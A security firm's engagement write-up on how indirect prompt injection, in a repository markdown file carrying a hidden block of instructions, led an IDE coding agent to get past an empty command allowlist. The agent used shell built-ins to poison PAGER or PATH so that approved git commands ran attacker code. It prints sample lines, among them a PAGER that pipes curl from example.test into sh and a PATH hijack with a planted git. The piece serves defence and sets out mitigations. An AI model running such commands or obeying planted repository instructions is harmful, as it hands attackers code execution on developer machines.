Our engineers set up and run your first chatbot / LLM security scan. Get in touch

The command allowlist was empty. The agent still ran code.

Published 2026-06-24 Read ~11 min By Penaxtra Security Research
OWASP Agentic ASI02 OWASP Agentic ASI05 OWASP LLM01 MITRE ATLAS AML.T0051 Shell built-ins IDE agent Indirect prompt injection

The customer's security lead had a slide she was proud of. It showed the developer agent rollout with a green box around one line: auto-run on, terminal allowlist on, twelve commands approved. She had spent two months getting that config signed off across three teams. When we opened a checkout on a developer laptop, emptied the allowlist to zero commands to prove the point, and the agent still wrote to the shell startup file from a file in the repo, the room went quiet. The allowlist was not the boundary she thought it was. Nobody had lied to her. The boundary was just in the wrong place.

This is an engagement write-up, not a breach write-up. There was no incident. A bypass in this class of coding agent had been getting attention that week, and the customer asked us to check their developer-agent fleet against it. We reproduced the chain in their own approved configuration before anyone outside the building did. We are publishing it because the setup we found is the setup we keep finding, and because the lesson is cheaper to learn from a report than from a postmortem.

The customer is a payments company headquartered in the EU with a second engineering office in Istanbul. Around 300 engineers. Heavy regulatory load: they answer to a financial regulator and they have an ISO 42001 audit on the calendar for the autumn. Eight months ago their platform team rolled out an IDE coding agent to the whole engineering org, with auto-run enabled so the agent could run tests and build steps without a click on every command. To keep that safe, AppSec built a terminal allowlist: twelve commands the agent was allowed to run without approval, everything else prompts the developer. It was a careful piece of work. It was also the control that did not hold.

What the allowlist actually checks

A terminal allowlist for an agent looks at the command the agent wants to run, compares the program name against a list, and either runs it or asks the developer first. For the twelve-command list, git, npm, python3 and a few others ran without a prompt. Anything else stopped and waited for a human. On paper that is a tidy boundary.

The gap is in the word "command". A shell does two different things when you type a line. Some lines run an external program: the shell finds git on disk and runs it as a separate process. Other lines are handled by the shell itself and never become a separate program at all. export, declare, typeset, readonly, unset and local are in the second group. They are built into the shell. The allowlist sits in front of the first group and never sees the second.

So the agent could run export all day without the allowlist noticing, because there is no export binary to check. On its own, setting a variable is harmless. The damage comes from what the next approved command does with that variable.

The chain, in their configuration

Command line tools read the environment around them to decide how to behave. That is by design and it is decades old. The bypass strings two ordinary facts together: a built-in can change the environment without the allowlist seeing it, and an approved command reads that environment when it runs.

The simplest version we showed them used the pager. Git sends long output through whatever program PAGER names. Set the variable, then run an approved git command, and git launches the program for you:

export PAGER="sh -c 'curl -s https://example.test/x | sh'"
git branch --list

git branch is on the allowlist. It runs without a prompt. Git opens the pager to show the branch list, and the pager is now a shell one-liner that pulls and runs a script. Neither line was blocked. The first is a built-in the allowlist cannot see; the second is an approved command doing exactly what git has always done.

The stronger version poisons PATH. Put a directory the attacker controls at the front of the search path, drop a file named git in it, and the next "git" the agent runs is the planted one:

export PATH="/tmp/.cache/bin:$PATH"
# /tmp/.cache/bin/git is attacker-written; the real git never runs
git status

Same shape for npm and python3. We also walked the variants that remove even the need for a planted file: PYTHONWARNINGS can route into a module that runs on interpreter start, BROWSER and PERL5OPT each give a similar route, and on zsh the (e) expansion flag evaluates a string the moment a variable is declared. We showed two of these on their actual laptops and left the rest in the report. The point was made on the first one.

How it gets onto the laptop

None of this matters unless something can make the agent type those lines. The delivery is indirect prompt injection, and it is the part the slide never accounted for. The agent reads content to do its job: a README, a dependency's docs, an issue it was asked to look at, a file in a repository the developer just cloned. Put instruction-shaped text in that content and the agent may follow it.

We did not need a real attacker for the assessment. We added a single markdown file to a branch of one of their own internal mirror repositories, the kind a developer opens in the editor a dozen times a week. The file looked like a setup note. Inside it, below the visible text, was a short block that told the agent to run an export and then a routine git command "to verify the checkout". Auto-run did the rest. We chose a harmless payload, a write to a scratch file with a timestamp, so the proof was a file on disk and nothing else. The developer whose laptop it was watched it happen and did not click anything, because there was nothing to click. The approved commands do not prompt.

What their own review would have shown, and did not

The allowlist was reviewed twice before rollout. Both reviews asked the right question for the wrong layer: "are these twelve commands safe to run without approval?" Each of the twelve is safe to run. The review never asked whether an approved command could be made to do something else by the environment it ran in, because that is not how anyone reads an allowlist. You read it as a list of safe things, not as a list of things that are safe only while the rest of the shell is honest.

Their endpoint tooling did not help either. The agent ran git, which is on every allowlist any endpoint product ships. The planted git in /tmp was a normal file written by a normal process. Nothing about the sequence looked unusual to a tool watching for known-bad binaries, because every binary in the chain was either trusted or written by a trusted parent.

What continuous testing catches here

Most of it, on a schedule, before the config drifts.

The probe family for agent terminal surfaces runs the built-in and environment poisoning payloads against the agent the way an attacker would deliver them, through content the agent reads. Pointed at this customer's setup, a weekly run returns two findings on the first pass: "agent runs shell built-ins that are not checked against the terminal allowlist" and "agent executes an approved command after an attacker-controlled environment change". Both map to OWASP Agentic ASI02 and ASI05. Either one is enough to act on. The value is not the first scan; it is the fiftieth. Allowlists get widened, auto-run gets turned back on for a team that found it slow, a new hire copies a config from a blog. A scheduled probe is what notices the week it happens rather than the quarter after.

The delivery leg is a separate check and it is not an agent problem at all. A repository that an agent reads with auto-run on is untrusted input the moment it leaves the developer's own commits. Flagging which teams have auto-run enabled against repositories they did not author is a configuration query, not a model test, and it belongs in the same posture view as the agent findings. We produce it as part of the agent security assessment so the two read side by side: here is the surface, here is who has it exposed.

Framework mapping

  • OWASP Agentic Top 10 ASI02 (Tool Misuse and Exploitation). The terminal tool was trusted on the strength of an allowlist that inspected the wrong layer. The tool itself was the exposure.
  • OWASP Agentic Top 10 ASI05 (Unexpected Code Execution). The agent was led into running attacker code through an approved command, with no separate binary for any control to flag.
  • OWASP LLM Top 10 LLM01 (Prompt Injection). Delivery was indirect injection from repository content the agent read as part of its task.
  • MITRE ATLAS AML.T0051 (LLM Prompt Injection), chained into command execution on the developer host.
  • EU AI Act Article 14 (Human Oversight). Auto-run executed a consequential action with no human on the trigger. Article 14 does not ask for a human on every model call; it asks for one where the output can do harm. An agent that can write to a shell startup file qualifies.
  • ISO/IEC 42001 Annex A. The agent tooling control existed in policy and had been signed off. It had never been tested against the way the tool actually behaves under a hostile environment.

What we changed with them

  1. Auto-run off for repositories the developer did not author. This was the single change that removed the delivery path for the whole class. The agent still runs commands on the developer's own work; it stops auto-running on anything cloned or opened from outside.
  2. A pinned, stripped environment for the agent's shell. The agent's terminal now starts from a clean PATH and a short, fixed set of variables, not the developer's full inherited environment. A poisoned PAGER or PATH does not survive into the next command.
  3. The allowlist demoted from a boundary to a convenience. It still cuts prompts for routine work. It is no longer written down anywhere as a security control, and the runbook says so in one sentence, so the next reviewer does not inherit the same false confidence.
  4. Agents kept off machines that hold publishing or cloud keys. The developer laptops were already separated from the release path, which is the reason this stayed a finding and not an incident. We wrote that separation down as a standard rather than a habit.
  5. A weekly probe run against the agent surface. The built-in and environment payloads now run on a schedule, with the results mapped to the same framework controls the autumn audit will ask about. The finding history is the evidence.

The part that is uncomfortable

The customer did more than most. They wrote a policy, they built a control, they got it reviewed, they had laptops separated from release keys. They still shipped a developer fleet where a file in a repository could run code through an approved command. The reason is not negligence. It is that "command allowlist" reads like a wall, and walls are easy to put in a slide and hard to argue with. The work of this engagement was mostly getting a room full of capable people to see that the wall had a layer underneath it that the wall never covered.

We have now run this same check for six customers since the technique resurfaced. Five had auto-run on with an allowlist they trusted. Four of those had no separation between the agent laptops and a credential of some kind. The setup is common because the agent ships it as the convenient default and the allowlist feels like the responsible way to keep the default. Convenient defaults are where this work lives.

Closing

If your developers run an IDE agent with auto-run and a terminal allowlist, the allowlist is not doing the job the slide says it is. The fix is not complicated and most of it is a configuration problem: take auto-run off untrusted repositories, give the agent a clean environment, keep it away from keys, and test the surface on a schedule so a config that drifts back is caught the week it drifts. Catching it on a schedule rather than in a postmortem is what an AI security posture management program is for, and the same finding history is what an EU AI Act and ISO 42001 auditor will want to read in the autumn.

We are happy to run this exact check against your developer-agent fleet. It is a short engagement and the output is a list of which teams have the surface exposed and the three configuration changes we would make first. The contact form is below.

Penaxtra Security Research · 2026-06-24

Anonymisation policy: industry vertical and headcount band only. Repository names, internal hostnames, the specific payloads run on customer hardware, and the customer's identity stay out of public material. The customer reviewed this draft before publication and approved the technical content.

Run an IDE agent across your dev org?

The allowlist is probably not the boundary the slide says it is. We can check your fleet, tell you who has the surface exposed, and hand you the three configuration changes that close it. Short engagement, written summary at the end.

Request a demo